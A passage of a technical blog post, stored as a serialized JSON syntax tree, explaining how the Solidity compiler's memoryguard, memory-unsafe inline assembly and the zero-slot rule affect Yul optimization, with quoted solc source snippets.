generateEVMFromIR",{"type":19,"tag":168,"props":26679,"children":26680},{"style":212},[26681],{"type":24,"value":500},{"type":19,"tag":168,"props":26683,"children":26684},{"style":399},[26685],{"type":24,"value":2002},{"type":19,"tag":168,"props":26687,"children":26688},{"style":212},[26689],{"type":24,"value":26637},{"type":19,"tag":168,"props":26691,"children":26692},{"class":170,"line":694},[26693],{"type":19,"tag":168,"props":26694,"children":26695},{"style":419},[26696],{"type":24,"value":26697}," else\n",{"type":19,"tag":168,"props":26699,"children":26700},{"class":170,"line":707},[26701,26706,26710,26714],{"type":19,"tag":168,"props":26702,"children":26703},{"style":175},[26704],{"type":24,"value":26705}," compileContract",{"type":19,"tag":168,"props":26707,"children":26708},{"style":212},[26709],{"type":24,"value":500},{"type":19,"tag":168,"props":26711,"children":26712},{"style":399},[26713],{"type":24,"value":2002},{"type":19,"tag":168,"props":26715,"children":26716},{"style":212},[26717],{"type":24,"value":26718},"contract, otherCompilers);\n",{"type":19,"tag":168,"props":26720,"children":26721},{"class":170,"line":725},[26722],{"type":19,"tag":168,"props":26723,"children":26724},{"style":212},[26725],{"type":24,"value":761},{"type":19,"tag":20,"props":26727,"children":26728},{},[26729,26731,26738,26739,26746],{"type":24,"value":26730},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":19,"tag":269,"props":26732,"children":26735},{"href":26733,"rel":26734},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[273],[26736],{"type":24,"value":26737},"YulStack::optimize",{"type":24,"value":8436},{"type":19,"tag":269,"props":26740,"children":26743},{"href":26741,"rel":26742},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[273],[26744],{"type":24,"value":26745},"Assembly::optimize",{"type":24,"value":948},{"type":19,"tag":20,"props":26748,"children":26749},{},[26750],{"type":24,"value":26751},"In total, there are four steps.",{"type":19,"tag":2869,"props":26753,"children":26754},{},[26755,26759,26764,26768],{"type":19,"tag":47,"props":26756,"children":26757},{},[26758],{"type":24,"value":26572},{"type":19,"tag":47,"props":26760,"children":26761},{},[26762],{"type":24,"value":26763},"Optimization of YUL IR",{"type":19,"tag":47,"props":26765,"children":26766},{},[26767],{"type":24,"value":26577},{"type":19,"tag":47,"props":26769,"children":26770},{},[26771],{"type":24,"value":26772},"Optimization of EVM opcodes",{"type":19,"tag":20,"props":26774,"children":26775},{},[26776],{"type":24,"value":26777},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":19,"tag":315,"props":26779,"children":26780},{},[26781],{"type":19,"tag":20,"props":26782,"children":26783},{},[26784],{"type":24,"value":26785},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":19,"tag":20,"props":26787,"children":26788},{},[26789],{"type":24,"value":26790},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":19,"tag":20,"props":26792,"children":26793},{},[26794],{"type":24,"value":26795},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":19,"tag":20,"props":26797,"children":26798},{},[26799],{"type":24,"value":26800},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":19,"tag":36,"props":26802,"children":26804},{"id":26803},"guarantees",[26805],{"type":24,"value":26806},"Guarantees",{"type":19,"tag":20,"props":26808,"children":26809},{},[26810,26811,26818,26820,26825],{"type":24,"value":14062},{"type":19,"tag":269,"props":26812,"children":26815},{"href":26813,"rel":26814},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[273],[26816],{"type":24,"value":26817},"Solidity memory layout",{"type":24,"value":26819}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":19,"tag":293,"props":26821,"children":26822},{},[26823],{"type":24,"value":26824},"no information about this layout",{"type":24,"value":948},{"type":19,"tag":20,"props":26827,"children":26828},{},[26829],{"type":24,"value":26830},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":19,"tag":20,"props":26832,"children":26833},{},[26834,26836,26842,26844,26850],{"type":24,"value":26835},"Introducing ",{"type":19,"tag":27,"props":26837,"children":26839},{"className":26838},[],[26840],{"type":24,"value":26841},"memoryguard",{"type":24,"value":26843},". If you've ever looked at the output of ",{"type":19,"tag":27,"props":26845,"children":26847},{"className":26846},[],[26848],{"type":24,"value":26849},"solc --ir",{"type":24,"value":26851},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":19,"tag":158,"props":26853,"children":26855},{"className":1905,"code":26854,"language":1904,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[26856],{"type":19,"tag":27,"props":26857,"children":26858},{"__ignoreMap":7},[26859,26877],{"type":19,"tag":168,"props":26860,"children":26861},{"class":170,"line":171},[26862,26867,26872],{"type":19,"tag":168,"props":26863,"children":26864},{"style":373},[26865],{"type":24,"value":26866}," /// @src 0:26:371 \"contract ",{"type":19,"tag":168,"props":26868,"children":26869},{"style":382},[26870],{"type":24,"value":26871},"XXX",{"type":19,"tag":168,"props":26873,"children":26874},{"style":373},[26875],{"type":24,"value":26876}," {...\"\n",{"type":19,"tag":168,"props":26878,"children":26879},{"class":170,"line":198},[26880,26885,26889,26894,26898,26902,26906,26911],{"type":19,"tag":168,"props":26881,"children":26882},{"style":175},[26883],{"type":24,"value":26884}," store",{"type":19,"tag":168,"props":26886,"children":26887},{"style":212},[26888],{"type":24,"value":500},{"type":19,"tag":168,"props":26890,"children":26891},{"style":192},[26892],{"type":24,"value":26893},"64",{"type":19,"tag":168,"props":26895,"children":26896},{"style":212},[26897],{"type":24,"value":471},{"type":19,"tag":168,"props":26899,"children":26900},{"style":175},[26901],{"type":24,"value":26841},{"type":19,"tag":168,"props":26903,"children":26904},{"style":212},[26905],{"type":24,"value":500},{"type":19,"tag":168,"props":26907,"children":26908},{"style":192},[26909],{"type":24,"value":26910},"0x80",{"type":19,"tag":168,"props":26912,"children":26913},{"style":212},[26914],{"type":24,"value":17166},{"type":19,"tag":20,"props":26916,"children":26917},{},[26918,26920,26927],{"type":24,"value":26919},"From ",{"type":19,"tag":269,"props":26921,"children":26924},{"href":26922,"rel":26923},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[273],[26925],{"type":24,"value":26926},"the documentation",{"type":24,"value":1555},{"type":19,"tag":315,"props":26929,"children":26930},{},[26931],{"type":19,"tag":20,"props":26932,"children":26933},{},[26934,26936,26942,26944,26950,26952,26957],{"type":24,"value":26935},"The caller of ",{"type":19,"tag":27,"props":26937,"children":26939},{"className":26938},[],[26940],{"type":24,"value":26941},"let ptr := memoryguard(size)",{"type":24,"value":26943}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":19,"tag":27,"props":26945,"children":26947},{"className":26946},[],[26948],{"type":24,"value":26949},"[0, size)",{"type":24,"value":26951}," or the unbounded range starting at ",{"type":19,"tag":27,"props":26953,"children":26955},{"className":26954},[],[26956],{"type":24,"value":11395},{"type":24,"value":948},{"type":19,"tag":20,"props":26959,"children":26960},{},[26961,26963,26968,26970,26976],{"type":24,"value":26962},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":19,"tag":27,"props":26964,"children":26966},{"className":26965},[],[26967],{"type":24,"value":26841},{"type":24,"value":26969}," return ",{"type":19,"tag":27,"props":26971,"children":26973},{"className":26972},[],[26974],{"type":24,"value":26975},"size + 32",{"type":24,"value":26977},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":19,"tag":20,"props":26979,"children":26980},{},[26981,26983,26990,26992,26997,26999,27004],{"type":24,"value":26982},"An example of this optimization in practice ",{"type":19,"tag":269,"props":26984,"children":26987},{"href":26985,"rel":26986},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[273],[26988],{"type":24,"value":26989},"is the StackLimitEvader",{"type":24,"value":26991},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":19,"tag":293,"props":26993,"children":26994},{},[26995],{"type":24,"value":26996},"only",{"type":24,"value":26998}," optimization pass that relies on the semantic information communicated by ",{"type":19,"tag":27,"props":27000,"children":27002},{"className":27001},[],[27003],{"type":24,"value":26841},{"type":24,"value":948},{"type":19,"tag":20,"props":27006,"children":27007},{},[27008],{"type":24,"value":27009},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":19,"tag":20,"props":27011,"children":27012},{},[27013,27015,27021],{"type":24,"value":27014},"Fear not, for we can remove this pointer entirely and call ",{"type":19,"tag":27,"props":27016,"children":27018},{"className":27017},[],[27019],{"type":24,"value":27020},"memoryguard(0x60)",{"type":24,"value":27022}," instead. The rest of the pipeline will still work.",{"type":19,"tag":36,"props":27024,"children":27025},{"id":26534},[27026],{"type":24,"value":27027},"Memory Safety",{"type":19,"tag":20,"props":27029,"children":27030},{},[27031],{"type":24,"value":27032},"So what does memory safety mean?",{"type":19,"tag":20,"props":27034,"children":27035},{},[27036,27038,27044],{"type":24,"value":27037},"The Solidity documentation provides ",{"type":19,"tag":269,"props":27039,"children":27041},{"href":26509,"rel":27040},[273],[27042],{"type":24,"value":27043},"a set of constraints",{"type":24,"value":27045},", not a definition.",{"type":19,"tag":315,"props":27047,"children":27048},{},[27049,27054],{"type":19,"tag":20,"props":27050,"children":27051},{},[27052],{"type":24,"value":27053},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":19,"tag":2869,"props":27055,"children":27056},{},[27057,27062,27067,27072],{"type":19,"tag":47,"props":27058,"children":27059},{},[27060],{"type":24,"value":27061},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":19,"tag":47,"props":27063,"children":27064},{},[27065],{"type":24,"value":27066},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":19,"tag":47,"props":27068,"children":27069},{},[27070],{"type":24,"value":27071},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":19,"tag":47,"props":27073,"children":27074},{},[27075],{"type":24,"value":27076},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":19,"tag":20,"props":27078,"children":27079},{},[27080,27082,27089,27099],{"type":24,"value":27081},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":19,"tag":269,"props":27083,"children":27086},{"href":27084,"rel":27085},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[273],[27087],{"type":24,"value":27088},"removes the memory guard",{"type":19,"tag":12921,"props":27090,"children":27091},{},[27092],{"type":19,"tag":269,"props":27093,"children":27097},{"href":27094,"ariaDescribedBy":27095,"dataFootnoteRef":7,"id":27096},"#user-content-fn-1",[12928],"user-content-fnref-1",[27098],{"type":24,"value":1442},{"type":24,"value":948},{"type":19,"tag":158,"props":27101,"children":27103},{"className":26580,"code":27102,"language":26582,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[27104],{"type":19,"tag":27,"props":27105,"children":27106},{"__ignoreMap":7},[27107,27115,27123,27130,27166,27173,27181,27189,27197,27205,27213,27226,27239,27247],{"type":19,"tag":168,"props":27108,"children":27109},{"class":170,"line":171},[27110],{"type":19,"tag":168,"props":27111,"children":27112},{"style":373},[27113],{"type":24,"value":27114},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":19,"tag":168,"props":27116,"children":27117},{"class":170,"line":198},[27118],{"type":19,"tag":168,"props":27119,"children":27120},{"style":373},[27121],{"type":24,"value":27122},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":19,"tag":168,"props":27124,"children":27125},{"class":170,"line":415},[27126],{"type":19,"tag":168,"props":27127,"children":27128},{"emptyLinePlaceholder":14},[27129],{"type":24,"value":1093},{"type":19,"tag":168,"props":27131,"children":27132},{"class":170,"line":450},[27133,27138,27143,27148,27152,27157,27162],{"type":19,"tag":168,"props":27134,"children":27135},{"style":825},[27136],{"type":24,"value":27137},"string",{"type":19,"tag":168,"props":27139,"children":27140},{"style":212},[27141],{"type":24,"value":27142}," IRGenerator::",{"type":19,"tag":168,"props":27144,"children":27145},{"style":175},[27146],{"type":24,"value":27147},"memoryInit",{"type":19,"tag":168,"props":27149,"children":27150},{"style":212},[27151],{"type":24,"value":500},{"type":19,"tag":168,"props":27153,"children":27154},{"style":382},[27155],{"type":24,"value":27156},"bool",{"type":19,"tag":168,"props":27158,"children":27159},{"style":393},[27160],{"type":24,"value":27161}," _useMemoryGuard",{"type":19,"tag":168,"props":27163,"children":27164},{"style":212},[27165],{"type":24,"value":557},{"type":19,"tag":168,"props":27167,"children":27168},{"class":170,"line":560},[27169],{"type":19,"tag":168,"props":27170,"children":27171},{"style":212},[27172],{"type":24,"value":8324},{"type":19,"tag":168,"props":27174,"children":27175},{"class":170,"line":666},[27176],{"type":19,"tag":168,"props":27177,"children":27178},{"style":373},[27179],{"type":24,"value":27180}," // This function should be called at the beginning of the EVM call frame\n",{"type":19,"tag":168,"props":27182,"children":27183},{"class":170,"line":694},[27184],{"type":19,"tag":168,"props":27185,"children":27186},{"style":373},[27187],{"type":24,"value":27188}," // and thus can assume all memory to be zero, including the contents of\n",{"type":19,"tag":168,"props":27190,"children":27191},{"class":170,"line":707},[27192],{"type":19,"tag":168,"props":27193,"children":27194},{"style":373},[27195],{"type":24,"value":27196}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":19,"tag":168,"props":27198,"children":27199},{"class":170,"line":725},[27200],{"type":19,"tag":168,"props":27201,"children":27202},{"style":419},[27203],{"type":24,"value":27204}," return\n",{"type":19,"tag":168,"props":27206,"children":27207},{"class":170,"line":746},[27208],{"type":19,"tag":168,"props":27209,"children":27210},{"style":212},[27211],{"type":24,"value":27212}," Whiskers{\n",{"type":19,"tag":168,"props":27214,"children":27215},{"class":170,"line":755},[27216,27221],{"type":19,"tag":168,"props":27217,"children":27218},{"style":212},[27219],{"type":24,"value":27220}," _useMemoryGuard ",{"type":19,"tag":168,"props":27222,"children":27223},{"style":399},[27224],{"type":24,"value":27225},"?\n",{"type":19,"tag":168,"props":27227,"children":27228},{"class":170,"line":1008},[27229,27234],{"type":19,"tag":168,"props":27230,"children":27231},{"style":181},[27232],{"type":24,"value":27233}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":19,"tag":168,"props":27235,"children":27236},{"style":399},[27237],{"type":24,"value":27238}," :\n",{"type":19,"tag":168,"props":27240,"children":27241},{"class":170,"line":1025},[27242],{"type":19,"tag":168,"props":27243,"children":27244},{"style":181},[27245],{"type":24,"value":27246}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":19,"tag":168,"props":27248,"children":27249},{"class":170,"line":1042},[27250],{"type":19,"tag":168,"props":27251,"children":27252},{"style":212},[27253],{"type":24,"value":3306},{"type":19,"tag":20,"props":27255,"children":27256},{},[27257,27262,27264,27270],{"type":19,"tag":27,"props":27258,"children":27260},{"className":27259},[],[27261],{"type":24,"value":26849},{"type":24,"value":27263}," will now no longer have ",{"type":19,"tag":27,"props":27265,"children":27267},{"className":27266},[],[27268],{"type":24,"value":27269},"memoryguard(0x80)",{"type":24,"value":27271}," as expected.",{"type":19,"tag":158,"props":27273,"children":27275},{"className":1905,"code":27274,"language":1904,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[27276],{"type":19,"tag":27,"props":27277,"children":27278},{"__ignoreMap":7},[27279,27294],{"type":19,"tag":168,"props":27280,"children":27281},{"class":170,"line":171},[27282,27286,27290],{"type":19,"tag":168,"props":27283,"children":27284},{"style":373},[27285],{"type":24,"value":26866},{"type":19,"tag":168,"props":27287,"children":27288},{"style":382},[27289],{"type":24,"value":26871},{"type":19,"tag":168,"props":27291,"children":27292},{"style":373},[27293],{"type":24,"value":26876},{"type":19,"tag":168,"props":27295,"children":27296},{"class":170,"line":198},[27297,27302,27306,27310,27314,27319],{"type":19,"tag":168,"props":27298,"children":27299},{"style":175},[27300],{"type":24,"value":27301}," mstore",{"type":19,"tag":168,"props":27303,"children":27304},{"style":212},[27305],{"type":24,"value":500},{"type":19,"tag":168,"props":27307,"children":27308},{"style":192},[27309],{"type":24,"value":26893},{"type":19,"tag":168,"props":27311,"children":27312},{"style":212},[27313],{"type":24,"value":471},{"type":19,"tag":168,"props":27315,"children":27316},{"style":192},[27317],{"type":24,"value":27318},"128",{"type":19,"tag":168,"props":27320,"children":27321},{"style":212},[27322],{"type":24,"value":557},{"type":19,"tag":20,"props":27324,"children":27325},{},[27326,27328,27333,27335,27340],{"type":24,"value":27327},"Semantically, the absence of ",{"type":19,"tag":27,"props":27329,"children":27331},{"className":27330},[],[27332],{"type":24,"value":26841},{"type":24,"value":27334}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":19,"tag":27,"props":27336,"children":27338},{"className":27337},[],[27339],{"type":24,"value":26841},{"type":24,"value":27341}," invariant.",{"type":19,"tag":315,"props":27343,"children":27344},{},[27345],{"type":19,"tag":20,"props":27346,"children":27347},{},[27348,27349,27354,27355,27360,27361,27366],{"type":24,"value":26935},{"type":19,"tag":27,"props":27350,"children":27352},{"className":27351},[],[27353],{"type":24,"value":26941},{"type":24,"value":26943},{"type":19,"tag":27,"props":27356,"children":27358},{"className":27357},[],[27359],{"type":24,"value":26949},{"type":24,"value":26951},{"type":19,"tag":27,"props":27362,"children":27364},{"className":27363},[],[27365],{"type":24,"value":11395},{"type":24,"value":948},{"type":19,"tag":20,"props":27368,"children":27369},{},[27370],{"type":24,"value":27371},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":19,"tag":36,"props":27373,"children":27375},{"id":27374},"undefined-behavior",[27376],{"type":24,"value":27377},"Undefined Behavior",{"type":19,"tag":20,"props":27379,"children":27380},{},[27381,27383,27388,27390,27395,27397,27403],{"type":24,"value":27382},"How strict is memory safety? When it comes to ",{"type":19,"tag":27,"props":27384,"children":27386},{"className":27385},[],[27387],{"type":24,"value":26841},{"type":24,"value":27389},", only touching memory after 0x80 seems to matter. Is ",{"type":19,"tag":27,"props":27391,"children":27393},{"className":27392},[],[27394],{"type":24,"value":26499},{"type":24,"value":27396}," annotated assembly that touches memory at ",{"type":19,"tag":27,"props":27398,"children":27400},{"className":27399},[],[27401],{"type":24,"value":27402},"[0x40, 0x7f]",{"type":24,"value":27404}," really safe?",{"type":19,"tag":20,"props":27406,"children":27407},{},[27408,27409,27416,27418,27423],{"type":24,"value":14062},{"type":19,"tag":269,"props":27410,"children":27413},{"href":27411,"rel":27412},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[273],[27414],{"type":24,"value":27415},"Solidity documentation",{"type":24,"value":27417}," mentions ",{"type":19,"tag":293,"props":27419,"children":27420},{},[27421],{"type":24,"value":27422},"undefined behavior",{"type":24,"value":27424}," three times.",{"type":19,"tag":2869,"props":27426,"children":27427},{},[27428,27433,27448],{"type":19,"tag":47,"props":27429,"children":27430},{},[27431],{"type":24,"value":27432},"The existence of a dangling reference",{"type":19,"tag":47,"props":27434,"children":27435},{},[27436,27438],{"type":24,"value":27437},"Using verbatim improperly",{"type":19,"tag":12921,"props":27439,"children":27440},{},[27441],{"type":19,"tag":269,"props":27442,"children":27446},{"href":27443,"ariaDescribedBy":27444,"dataFootnoteRef":7,"id":27445},"#user-content-fn-2",[12928],"user-content-fnref-2",[27447],{"type":24,"value":519},{"type":19,"tag":47,"props":27449,"children":27450},{},[27451],{"type":24,"value":27452},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":19,"tag":20,"props":27454,"children":27455},{},[27456],{"type":24,"value":27457},"Why does this matter?",{"type":19,"tag":20,"props":27459,"children":27460},{},[27461,27463,27470,27472,27479],{"type":24,"value":27462},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":19,"tag":269,"props":27464,"children":27467},{"href":27465,"rel":27466},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[273],[27468],{"type":24,"value":27469},"signed integer overflow is undefined",{"type":24,"value":27471},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":19,"tag":269,"props":27473,"children":27476},{"href":27474,"rel":27475},"https://blog.regehr.org/archives/1307",[273],[27477],{"type":24,"value":27478},"years down the line",{"type":24,"value":948},{"type":19,"tag":20,"props":27481,"children":27482},{},[27483,27485,27492,27493,27498],{"type":24,"value":27484},"Going back to Solidity, the specification makes ",{"type":19,"tag":269,"props":27486,"children":27489},{"href":27487,"rel":27488},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[273],[27490],{"type":24,"value":27491},"it unambiguously clear",{"type":24,"value":15983},{"type":19,"tag":293,"props":27494,"children":27495},{},[27496],{"type":24,"value":27497},"Thou shalt not modify the zero slot",{"type":24,"value":948},{"type":19,"tag":315,"props":27500,"children":27501},{},[27502],{"type":19,"tag":20,"props":27503,"children":27504},{},[27505],{"type":24,"value":27506},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":19,"tag":20,"props":27508,"children":27509},{},[27510,27512,27517],{"type":24,"value":27511},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":19,"tag":293,"props":27513,"children":27514},{},[27515],{"type":24,"value":27516},"in Solidity",{"type":24,"value":948},{"type":19,"tag":20,"props":27519,"children":27520},{},[27521],{"type":24,"value":27522},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":19,"tag":2869,"props":27524,"children":27525},{},[27526],{"type":19,"tag":47,"props":27527,"children":27528},{},[27529,27531,27538],{"type":24,"value":27530},"It very clearly ",{"type":19,"tag":269,"props":27532,"children":27535},{"href":27533,"rel":27534},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[273],[27536],{"type":24,"value":27537},"holds true today",{"type":24,"value":948},{"type":19,"tag":158,"props":27540,"children":27542},{"className":26580,"code":27541,"language":26582,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[27543],{"type":19,"tag":27,"props":27544,"children":27545},{"__ignoreMap":7},[27546,27586,27593,27606,27678,27699,27750,27757],{"type":19,"tag":168,"props":27547,"children":27548},{"class":170,"line":171},[27549,27553,27558,27563,27567,27572,27577,27582],{"type":19,"tag":168,"props":27550,"children":27551},{"style":382},[27552],{"type":24,"value":27156},{"type":19,"tag":168,"props":27554,"children":27555},{"style":212},[27556],{"type":24,"value":27557}," IRGeneratorForStatements::",{"type":19,"tag":168,"props":27559,"children":27560},{"style":175},[27561],{"type":24,"value":27562},"visit",{"type":19,"tag":168,"props":27564,"children":27565},{"style":212},[27566],{"type":24,"value":500},{"type":19,"tag":168,"props":27568,"children":27569},{"style":825},[27570],{"type":24,"value":27571},"InlineAssembly",{"type":19,"tag":168,"props":27573,"children":27574},{"style":382},[27575],{"type":24,"value":27576}," const&",{"type":19,"tag":168,"props":27578,"children":27579},{"style":393},[27580],{"type":24,"value":27581}," _inlineAsm",{"type":19,"tag":168,"props":27583,"children":27584},{"style":212},[27585],{"type":24,"value":557},{"type":19,"tag":168,"props":27587,"children":27588},{"class":170,"line":198},[27589],{"type":19,"tag":168,"props":27590,"children":27591},{"style":212},[27592],{"type":24,"value":8324},{"type":19,"tag":168,"props":27594,"children":27595},{"class":170,"line":415},[27596,27601],{"type":19,"tag":168,"props":27597,"children":27598},{"style":175},[27599],{"type":24,"value":27600}," setLocation",{"type":19,"tag":168,"props":27602,"children":27603},{"style":212},[27604],{"type":24,"value":27605},"(_inlineAsm);\n",{"type":19,"tag":168,"props":27607,"children":27608},{"class":170,"line":450},[27609,27613,27617,27621,27626,27630,27635,27640,27645,27649,27653,27657,27661,27665,27669,27674],{"type":19,"tag":168,"props":27610,"children":27611},{"style":419},[27612],{"type":24,"value":9724},{"type":19,"tag":168,"props":27614,"children":27615},{"style":212},[27616],{"type":24,"value":461},{"type":19,"tag":168,"props":27618,"children":27619},{"style":399},[27620],{"type":24,"value":2002},{"type":19,"tag":168,"props":27622,"children":27623},{"style":393},[27624],{"type":24,"value":27625},"_inlineAsm",{"type":19,"tag":168,"props":27627,"children":27628},{"style":212},[27629],{"type":24,"value":948},{"type":19,"tag":168,"props":27631,"children":27632},{"style":175},[27633],{"type":24,"value":27634},"annotation",{"type":19,"tag":168,"props":27636,"children":27637},{"style":212},[27638],{"type":24,"value":27639},"().",{"type":19,"tag":168,"props":27641,"children":27642},{"style":393},[27643],{"type":24,"value":27644},"hasMemoryEffects",{"type":19,"tag":168,"props":27646,"children":27647},{"style":399},[27648],{"type":24,"value":11631},{"type":19,"tag":168,"props":27650,"children":27651},{"style":399},[27652],{"type":24,"value":10309},{"type":19,"tag":168,"props":27654,"children":27655},{"style":393},[27656],{"type":24,"value":27625},{"type":19,"tag":168,"props":27658,"children":27659},{"style":212},[27660],{"type":24,"value":948},{"type":19,"tag":168,"props":27662,"children":27663},{"style":175},[27664],{"type":24,"value":27634},{"type":19,"tag":168,"props":27666,"children":27667},{"style":212},[27668],{"type":24,"value":27639},{"type":19,"tag":168,"props":27670,"children":27671},{"style":393},[27672],{"type":24,"value":27673},"markedMemorySafe",{"type":19,"tag":168,"props":27675,"children":27676},{"style":212},[27677],{"type":24,"value":557},{"type":19,"tag":168,"props":27679,"children":27680},{"class":170,"line":560},[27681,27686,27690,27695],{"type":19,"tag":168,"props":27682,"children":27683},{"style":393},[27684],{"type":24,"value":27685}," m_context",{"type":19,"tag":168,"props":27687,"children":27688},{"style":212},[27689],{"type":24,"value":948},{"type":19,"tag":168,"props":27691,"children":27692},{"style":175},[27693],{"type":24,"value":27694},"setMemoryUnsafeInlineAssemblySeen",{"type":19,"tag":168,"props":27696,"children":27697},{"style":212},[27698],{"type":24,"value":1084},{"type":19,"tag":168,"props":27700,"children":27701},{"class":170,"line":666},[27702,27707,27711,27715,27720,27725,27729,27733,27737,27741,27746],{"type":19,"tag":168,"props":27703,"children":27704},{"style":212},[27705],{"type":24,"value":27706}," CopyTranslate bodyCopier{",{"type":19,"tag":168,"props":27708,"children":27709},{"style":393},[27710],{"type":24,"value":27625},{"type":19,"tag":168,"props":27712,"children":27713},{"style":212},[27714],{"type":24,"value":948},{"type":19,"tag":168,"props":27716,"children":27717},{"style":175},[27718],{"type":24,"value":27719},"dialect",{"type":19,"tag":168,"props":27721,"children":27722},{"style":212},[27723],{"type":24,"value":27724},"(), m_context, ",{"type":19,"tag":168,"props":27726,"children":27727},{"style":393},[27728],{"type":24,"value":27625},{"type":19,"tag":168,"props":27730,"children":27731},{"style":212},[27732],{"type":24,"value":948},{"type":19,"tag":168,"props":27734,"children":27735},{"style":175},[27736],{"type":24,"value":27634},{"type":19,"tag":168,"props":27738,"children":27739},{"style":212},[27740],{"type":24,"value":27639},{"type":19,"tag":168,"props":27742,"children":27743},{"style":393},[27744],{"type":24,"value":27745},"externalReferences",{"type":19,"tag":168,"props":27747,"children":27748},{"style":212},[27749],{"type":24,"value":14026},{"type":19,"tag":168,"props":27751,"children":27752},{"class":170,"line":694},[27753],{"type":19,"tag":168,"props":27754,"children":27755},{"emptyLinePlaceholder":14},[27756],{"type":24,"value":1093},{"type":19,"tag":168,"props":27758,"children":27759},{"class":170,"line":707},[27760,27765,27769,27774,27778,27782,27786,27791],{"type":19,"tag":168,"props":27761,"children":27762},{"style":212},[27763],{"type":24,"value":27764}," yul::Statement modified ",{"type":19,"tag":168,"props":27766,"children":27767},{"style":399},[27768],{"type":24,"value":486},{"type":19,"tag":168,"props":27770,"children":27771},{"style":175},[27772],{"type":24,"value":27773}," 